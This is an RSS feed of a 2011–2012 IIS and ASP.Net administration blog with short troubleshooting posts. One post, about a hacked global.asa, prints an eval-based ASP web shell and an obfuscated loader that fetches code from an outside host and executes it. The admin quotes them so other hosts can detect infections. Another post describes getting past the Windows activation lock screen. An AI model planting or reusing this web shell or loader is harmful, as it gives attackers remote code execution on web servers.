<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>LarMiB</title> <atom:link href="http://blog.larmib.com/feed/" rel="self" type="application/rss+xml" /><link>http://blog.larmib.com</link> <description>Fixes I&#039;ve found or made</description> <lastBuildDate>Thu, 10 May 2012 17:27:35 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.2</generator> <item><title>How to have optional variables in an ASP.Net WebService</title><link>http://blog.larmib.com/2012/how-to-have-optional-variables-in-an-asp-net-webservice/</link> <comments>http://blog.larmib.com/2012/how-to-have-optional-variables-in-an-asp-net-webservice/#comments</comments> <pubDate>Thu, 10 May 2012 17:25:07 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[ASP.Net]]></category> <category><![CDATA[Variables]]></category> <category><![CDATA[WebService]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=242</guid> <description><![CDATA[I searched around and couldn&#8217;t find anything specific to fit my needs. I need to be able to have the same call, yet have the ability for optional variables to be posted as well. The problem is you can&#8217;t have optional variables in a webservice. That&#8217;s not exactly true, you still have access to the [...]]]></description> <content:encoded><![CDATA[<p>I searched around and couldn&#8217;t find anything specific to fit my needs. I need to be able to have the same call, yet have the ability for optional variables to be posted as well. The problem is you can&#8217;t have optional variables in a webservice. That&#8217;s not exactly true, you still have access to the same request variable that gets the information and parses it so why not use it.</p><p>In any one of your WebMethod functions simply useÂ HttpContext.Current.Request to grab those extra variables.</p><p>For example, I needed some way of seeing if the path variable is being supplied, here&#8217;s how I did that:</p><pre>Dim path As String = ""

path = HttpContext.Current.Request("path")</pre><p>I hope this helps someone out, if so please let me know via a +1, comment, or link back to my blog.</p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2012/how-to-have-optional-variables-in-an-asp-net-webservice/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>ZendServer CE 5.2.17 does not let you run AppPools under individual users</title><link>http://blog.larmib.com/2012/zendserver-ce-5-2-17-does-not-let-you-run-apppools-under-individual-users/</link> <comments>http://blog.larmib.com/2012/zendserver-ce-5-2-17-does-not-let-you-run-apppools-under-individual-users/#comments</comments> <pubDate>Thu, 01 Mar 2012 21:08:52 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[IIS]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[Web Hosting]]></category> <category><![CDATA[Windows]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=232</guid> <description><![CDATA[So we&#8217;re doing a big change to improve PHP on our platform, however I ran into a problem when trying to setup and use Zend Server CE 5.2.17. It appears it works great if you use Network Service, but because we want our platform to be more secure, we are running each Application Pool as [...]]]></description> <content:encoded><![CDATA[<p>So we&#8217;re doing a big change to improve PHP on our platform, however I ran into a problem when trying to setup and use Zend Server CE 5.2.17. It appears it works great if you use Network Service, but because we want our platform to be more secure, we are running each Application Pool as a unique user. I have a personal Virtual server and just happened to have Zend Server CE 5.2.13, it works exactly the same way and does not have the problem!</p><p>To reproduce the issue, simply have two sites in IIS, configured with unique application pools, being ran as the user. After you go to one websites PHP Application, with 5.2.17, you will get a blank page. This also happens when you try to run 5.3.10, and 5.2.17 at the same time on a server. If you use the version below 5.2.13, you will not encounter this issue. I have been running it for a few months without having this problem. I hope this helps someone out, please +1 me if it does!</p><p>I put it under c:\php\ZendServer, you can put it wherever you want, make sure you update your *.ini files to point to the right place, I also included ioncube.</p><p>Download link:Â <a href="http://blog.larmib.com/wp-content/uploads/2012/03/ZendServer.zip">Zend Server 5.2.13</a></p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2012/zendserver-ce-5-2-17-does-not-let-you-run-apppools-under-individual-users/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>IIS 7 corrupted applicationHost.config</title><link>http://blog.larmib.com/2012/iis-7-corrupted-applicationhost-config/</link> <comments>http://blog.larmib.com/2012/iis-7-corrupted-applicationhost-config/#comments</comments> <pubDate>Wed, 29 Feb 2012 15:57:24 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[IIS]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[applicationHost.config]]></category> <category><![CDATA[IIS7]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=222</guid> <description><![CDATA[The Windows Process Activation Service encountered an error trying to read configuration data from file â€˜\\?\C:\Windows\system32\inetsrv\config\applicationHost.configâ€™, line number â€™0â€². The error message is: â€˜Configuration file is not well-formed XMLâ€™ Uh oh! This has actually happened once to me before. IIS 7 was working great all day long, then at around 3 AM you get a [...]]]></description> <content:encoded><![CDATA[<p>The Windows Process Activation Service encountered an error trying to read configuration data from file â€˜\\?\C:\Windows\system32\inetsrv\config\applicationHost.configâ€™, line number â€™0â€². The error message is: â€˜Configuration file is not well-formed XMLâ€™</p><p>Uh oh! This has actually happened once to me before. IIS 7 was working great all day long, then at around 3 AM you get a page, you have a group of IIS7 servers with corrupted applicationHost.config files! Lucky for us there are backups made each time a change is made in IIS. Look under c:\inetpub\history\ and find the most recent one, see if it has a large enough file size, most of mine are over 5-10MB. Once you find it, copy it to c:\windows\system32\inetsrv\config\ and overwrite the existing files. Usually I would say backup what you have currently, but there really isn&#8217;t a point to doing that, what is there is corrupted.</p><p>Run an iisreset and make sure your server is up and running, if not you may have to go back a bit more until you find a working applicationHost.config file.</p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2012/iis-7-corrupted-applicationhost-config/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>How To Compile Visual Web Developer 2010 Express</title><link>http://blog.larmib.com/2012/how-to-compile-visual-web-developer-2010-express/</link> <comments>http://blog.larmib.com/2012/how-to-compile-visual-web-developer-2010-express/#comments</comments> <pubDate>Wed, 22 Feb 2012 17:54:50 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[ASP.Net]]></category> <category><![CDATA[compile]]></category> <category><![CDATA[express]]></category> <category><![CDATA[precompile]]></category> <category><![CDATA[visual studio]]></category> <category><![CDATA[web developer]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=209</guid> <description><![CDATA[So you wanted to precompile your application, but you don&#8217;t see the option in Visual Web developer 2010 Express! Here is how I did it: First make sure you can see the Expert Settings, Tools &#62; Settings &#62; Expert Settings. Once that is enabled, Choose Tools &#62; External Tools. Create a new tool with the [...]]]></description> <content:encoded><![CDATA[<p>So you wanted to precompile your application, but you don&#8217;t see the option in Visual Web developer 2010 Express!</p><p>Here is how I did it:</p><ol><li>First make sure you can see the Expert Settings, Tools &gt; Settings &gt; Expert Settings.</li><li>Once that is enabled, Choose Tools &gt; External Tools. Create a new tool with the Title of &#8220;Compile App&#8221; or &#8220;Precompile App&#8221;.</li><li>For the Command: enter in any of the following:</li><ul><li>ASP.net 2.0/3.5 32-bit %windir%\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe</li><li>ASP.net 2.0/3.5 64-bit %windir%\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler.exe</li><li>ASP.Net 4.0Â 32-bitÂ %windir%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe</li><li>ASP.Net 4.0 64-bitÂ %windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe</li></ul><li>For the Arguments: enter the following<br /> -p &#8220;$(ProjectDir)&#8221; -v / &#8220;$(ProjectDir)../compiled&#8221;</li><li>Click OK, and under the Tools menu you will see the new option you created.</li></ol><p>For those who like it easy, I created a settings file for you!Â <a href="http://blog.larmib.com/wp-content/uploads/2012/02/Precompile.zip">Precompile Tools Options</a></p><ol><li>Download the file, then extract it to any folder.</li><li>Go to Tools &gt; Settings &gt; Import and Export Settings</li><li>Choose the Import selected environment settings, Next</li><li>You can save your settings, or not it&#8217;s up to you, click Next</li><li>choose Browse, and locate the Precompile.vssettings file, then click Next.</li><li>Check the All Settings &gt; General Settings &gt; External Tools List box, and click Finish.</li></ol> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2012/how-to-compile-visual-web-developer-2010-express/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>System.Management.ManagementException: Invalid query</title><link>http://blog.larmib.com/2012/system-management-managementexception-invalid-query/</link> <comments>http://blog.larmib.com/2012/system-management-managementexception-invalid-query/#comments</comments> <pubDate>Mon, 20 Feb 2012 18:06:51 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[ASP.Net]]></category> <category><![CDATA[Development]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=205</guid> <description><![CDATA[You know when you&#8217;re just sure that something else must be wrong, why would perfectly good code work when using one server but not the other. That&#8217;s what happened to me! I am re-writing a bunch of functions that touch IIS, the function works, if I used a different server. Then I did a quick [...]]]></description> <content:encoded><![CDATA[<p>You know when you&#8217;re just sure that something else must be wrong, why would perfectly good code work when using one server but not the other. That&#8217;s what happened to me! I am re-writing a bunch of functions that touch IIS, the function works, if I used a different server. Then I did a quick search and hear stuff like &#8220;oh that is because you have an invalid path&#8230;&#8221; sure enough I was using W3SVC\ instead of W3SVC/. Such a simple mistake yet so easy to make when you&#8217;ve been making code changes on functions that touch Directories and files, then you move to IIS functions.</p><p>Anyway if you&#8217;ve ever had that issue and made that silly mistake, or are looking for a solution for that error, it&#8217;s your fault, get over it and figure out where you made your mistake ;-) that&#8217;s my advise.</p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2012/system-management-managementexception-invalid-query/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Can&#8217;t Access Windows because of Activation</title><link>http://blog.larmib.com/2012/cant-access-windows-because-of-activation/</link> <comments>http://blog.larmib.com/2012/cant-access-windows-because-of-activation/#comments</comments> <pubDate>Mon, 23 Jan 2012 23:35:26 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[Web Hosting]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[2003]]></category> <category><![CDATA[2008]]></category> <category><![CDATA[activation]]></category> <category><![CDATA[server]]></category> <category><![CDATA[windows]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=201</guid> <description><![CDATA[Windows 2003 So I don&#8217;t normally have problems with Activation of Windows because normally my servers have access to the Internet. This was however a Hyper-V Virtual I was having a problem with. I made an image a few months ago, and brought it back up. Went to login and was &#8220;forced&#8221; to activate the [...]]]></description> <content:encoded><![CDATA[<p><strong>Windows 2003</strong></p><p>So I don&#8217;t normally have problems with Activation of Windows because normally my servers have access to the Internet. This was however a Hyper-V Virtual I was having a problem with. I made an image a few months ago, and brought it back up. Went to login and was &#8220;forced&#8221; to activate the Virtual. That&#8217;s a little hard since it doesn&#8217;t have an IP Address assigned to it&#8217;s NIC. Let alone the fact I don&#8217;t want to call Microsoft&#8217;s Telephone number. Here&#8217;s what I did to gain access to my Virtual, so I can add the proper IP Address, and legally register my Virtual.</p><ol><li>When you get the Activation screen press Windows Key and U. Click on the &#8220;Microsoft Website&#8221; link.</li><li>When Internet Explorer pops up in the Address bar type c:\windows\explorer.exe and click GO, or push enter. If prompted to run explorer.exe simply click Run.</li><li>You now have access to your computer.</li></ol><p>&nbsp;</p><p><strong>Windows 2008</strong></p><p>Yes, I had a similar issue with Windows 2008 not wanting to let me in due to activation problems. Here&#8217;s what I did to gain access to my server. Again, I do this to gain access to our servers to make them legal when they don&#8217;t have internet access.</p><ol><li>Click on the link to get help.</li><li>Click on the Options menu, and choose print.</li><li>Choose Add Printer, and find explorer.exe, right click and choose &#8220;open&#8221;.</li><li>An Alternate is to use the &#8220;Ask&#8221; option and click on one of the links, then open explorer the same way you would for the 2003 options by typing c:\windows\explorer.exe.</li></ol> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2012/cant-access-windows-because-of-activation/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>ASP.Net Forcing impersonation at the Machine level.</title><link>http://blog.larmib.com/2011/asp-net-forcing-impersonation-at-the-machine-level/</link> <comments>http://blog.larmib.com/2011/asp-net-forcing-impersonation-at-the-machine-level/#comments</comments> <pubDate>Fri, 09 Dec 2011 21:08:59 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[ASP.Net]]></category> <category><![CDATA[IIS]]></category> <category><![CDATA[Web Apps]]></category> <category><![CDATA[Web Hosting]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[impersonation]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=181</guid> <description><![CDATA[I decided to look into impersonation a bit more and how I could force our Windows Platform to impersonate, without letting our users change it back in their web.config file. I found a good number of google searches, but nothing really stuck until I realized I could simply add in the web.config of the machine [...]]]></description> <content:encoded><![CDATA[<p>I decided to look into impersonation a bit more and how I could force our Windows Platform to impersonate, without letting our users change it back in their web.config file. I found a good number of google searches, but nothing really stuck until I realized I could simply add in the web.config of the machine a location, set allowOverride to &#8220;false&#8221; then tell it what to do, without users being able to modify it!</p><p>Here&#8217;s the line I added at the top of the web.config located at c:\windows\microsoft.net\framework\v2.0.50727\CONFIG.</p><pre><strong>Â &lt;location allowOverride="false"&gt;</strong>
<strong> &lt;system.web&gt;</strong>
<strong> &lt;identity impersonate="true"/&gt;</strong>
<strong> &lt;/system.web&gt;</strong>
<strong> &lt;/location&gt;</strong>
 &lt;location allowOverride="true"&gt;
  &lt;system.web&gt;
   &lt;securityPolicy&gt;
    &lt;trustLevel name="Full" policyFile="internal"/&gt;
    &lt;trustLevel name="High" policyFile="web_hightrust.config"/&gt;
    &lt;trustLevel name="Medium" policyFile="web_mediumtrust.config"/&gt;
    &lt;trustLevel name="Low" policyFile="web_lowtrust.config"/&gt;
    &lt;trustLevel name="Minimal" policyFile="web_minimaltrust.config"/&gt;
   &lt;/securityPolicy&gt;
   &lt;trust level="Full" originUrl=""/&gt;
  &lt;/system.web&gt;
 &lt;/location&gt;</pre>]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2011/asp-net-forcing-impersonation-at-the-machine-level/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Windows Service Template for Visual Studio 2010 Express</title><link>http://blog.larmib.com/2011/windows-service-template-for-visual-studio-2010-express/</link> <comments>http://blog.larmib.com/2011/windows-service-template-for-visual-studio-2010-express/#comments</comments> <pubDate>Tue, 11 Oct 2011 17:45:13 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[ASP.Net]]></category> <category><![CDATA[Development]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Project Template]]></category> <category><![CDATA[Visual Studio 2010 Express]]></category> <category><![CDATA[Windows Service]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=171</guid> <description><![CDATA[I had a need to make a Windows Service, but I was using Visual Studio 2010 Express. You may notice does not come with a Windows Service template. I&#8217;m not sure why they decided not to include this template, other than they want to force people to purchase their product to get basic functionality. Little [...]]]></description> <content:encoded><![CDATA[<p>I had a need to make a Windows Service, but I was using Visual Studio 2010 Express. You may notice does not come with a Windows Service template. I&#8217;m not sure why they decided not to include this template, other than they want to force people to purchase their product to get basic functionality. Little do they know savvy people like you and I do google searches and figure out what we want anyway.</p><p>I create this template for Visual Studio 2010 Express: <a href='http://blog.larmib.com/wp-content/uploads/2011/10/Windows-Service.zip'>Windows Service</a> with a System.Timer</p><p>I created my template by using an existing Visual Studio 2008 (non-express) Windows Service project. I took the service, cleared out the stuff I added, then exported it.</p><p>To make it a template simply copy the zip file under %userprofile%\My Documents\Visual Studio 2010\Templates\ProjectTemplates\</p><p>If it helps let me know!</p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2011/windows-service-template-for-visual-studio-2010-express/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>global.asa file hacked</title><link>http://blog.larmib.com/2011/global-asa-file-hacked/</link> <comments>http://blog.larmib.com/2011/global-asa-file-hacked/#comments</comments> <pubDate>Tue, 04 Oct 2011 21:12:00 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[IIS]]></category> <category><![CDATA[Web Hosting]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[asp error 500]]></category> <category><![CDATA[global.asa]]></category> <category><![CDATA[hacking]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=161</guid> <description><![CDATA[Well more fun for me! We had an outbreak of script kiddies using the global.asa file to attempt to download and execute remote code. It turns out a few accounts had a file called style.asp in their root folder which contained a very simple method of executing commands under that account. If anyone else has [...]]]></description> <content:encoded><![CDATA[<p>Well more fun for me! We had an outbreak of script kiddies using the global.asa file to attempt to download and execute remote code. It turns out a few accounts had a file called style.asp in their root folder which contained a very simple method of executing commands under that account. If anyone else has a similar issue, look for *.asp files with eval in them. I hope this helps.</p><p>style.asp:<br /> &lt;%eval request(&#8220;seo&#8221;)%&gt;</p><p>global.asa:<br /> &lt;script language=&#8221;vbscript&#8221; runat=&#8221;server&#8221;&gt;<br /> &#8216;by*diao<br /> &#8216;by*aming<br /> sub Application_OnStart<br /> end sub<br /> sub Application_OnEnd<br /> end sub<br /> sub Session_OnStart<br /> url=&#8221;h&#8221;&amp;&#8221;t&#8221;&amp;&#8221;t&#8221;&amp;&#8221;p&#8221;&amp;&#8221;:&#8221;&amp;&#8221;/&#8221;&amp;&#8221;/w&#8221;&amp;&#8221;w&#8221;&amp;&#8221;w&#8221;&amp;&#8221;.&#8221;&amp;&#8221;g&#8221;&amp;&#8221;x&#8221;&amp;&#8221;t&#8221;&amp;&#8221;.&#8221;&amp;&#8221;l&#8221;&amp;&#8221;a&#8221;&amp;&#8221;/&#8221;&amp;&#8221;i&#8221;&amp;&#8221;n&#8221;&amp;&#8221;/&#8221;&amp;&#8221;p&#8221;&amp;&#8221;j&#8221;&amp;&#8221;c&#8221;&amp;&#8221;3&#8243;&amp;&#8221;.&#8221;&amp;&#8221;t&#8221;&amp;&#8221;x&#8221;&amp;&#8221;t&#8221;&amp;&#8221;"<br /> Set ObjXMLHTTP=Server.CreateObject(&#8220;MSXML2.serverXMLHTTP&#8221;)<br /> ObjXMLHTTP.Open &#8220;GET&#8221;,url,False<br /> ObjXMLHTTP.setRequestHeader &#8220;User-Agent&#8221;,url<br /> ObjXMLHTTP.send<br /> GetHtml=ObjXMLHTTP.responseBody<br /> Set ObjXMLHTTP=Nothing<br /> set objStream = Server.CreateObject(&#8220;Adodb.Stream&#8221;)<br /> objStream.Type = 1<br /> objStream.Mode =3<br /> objStream.Open<br /> objStream.Write GetHtml<br /> objStream.Position = 0<br /> objStream.Type = 2<br /> objStream.Charset = &#8220;gb2312&#8243;<br /> GetHtml = objStream.ReadText<br /> objStream.Close<br /> if instr(GetHtml,&#8221;by*aming&#8221;)&gt;0 then<br /> execute GetHtml<br /> end if<br /> end sub<br /> &#8216;sub Session_OnEnd<br /> &#8216;end sub<br /> &lt;/script&gt;</p><p>&nbsp;</p><p><strong>Update:</strong>Â They also add a few folders if they don&#8217;t exist. Look for /web /css /images/inc<br /> Under the /css they usually have a file called att.asp, or zelx.asp.<br /> Under /web they usually have User.aspx and zelx.asp<br /> and under /images/inc they usually have config.asp which may have the same content as style.aspÂ &lt;%eval request(&#8220;seo&#8221;)%&gt;</p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2011/global-asa-file-hacked/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>IIS7 Sites get 401.2 when you go to them in a browser</title><link>http://blog.larmib.com/2011/iis7-sites-get-401-2-when-you-go-to-them-in-a-browser/</link> <comments>http://blog.larmib.com/2011/iis7-sites-get-401-2-when-you-go-to-them-in-a-browser/#comments</comments> <pubDate>Tue, 09 Aug 2011 23:30:23 +0000</pubDate> <dc:creator>larmib</dc:creator> <category><![CDATA[IIS]]></category> <category><![CDATA[Web Hosting]]></category> <category><![CDATA[Windows]]></category><guid isPermaLink="false">http://blog.larmib.com/?p=158</guid> <description><![CDATA[The 401.2 error is: You are not authorized to view this page due to invalid authentication headers. If you are getting this error, and you just happen to have used shared configuration it may be an invalid password/encryption key file. I had this issue today, we replaced an IIS7 node and copied over the config [...]]]></description> <content:encoded><![CDATA[<p>The 401.2 error is: You are not authorized to view this page due to invalid authentication headers. If you are getting this error, and you just happen to have used shared configuration it may be an invalid password/encryption key file.</p><p>I had this issue today, we replaced an IIS7 node and copied over the config from the other node, well it worked but got 401.2. So I had to go to the other node, share it&#8217;s configuration, then copied the new shared files over to the replaced node and import the new configuration files. Once I did that, the server worked as expected.</p> ]]></content:encoded> <wfw:commentRss>http://blog.larmib.com/2011/iis7-sites-get-401-2-when-you-go-to-them-in-a-browser/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: basic

Served from: blog.larmib.com @ 2012-05-20 06:07:01 -->
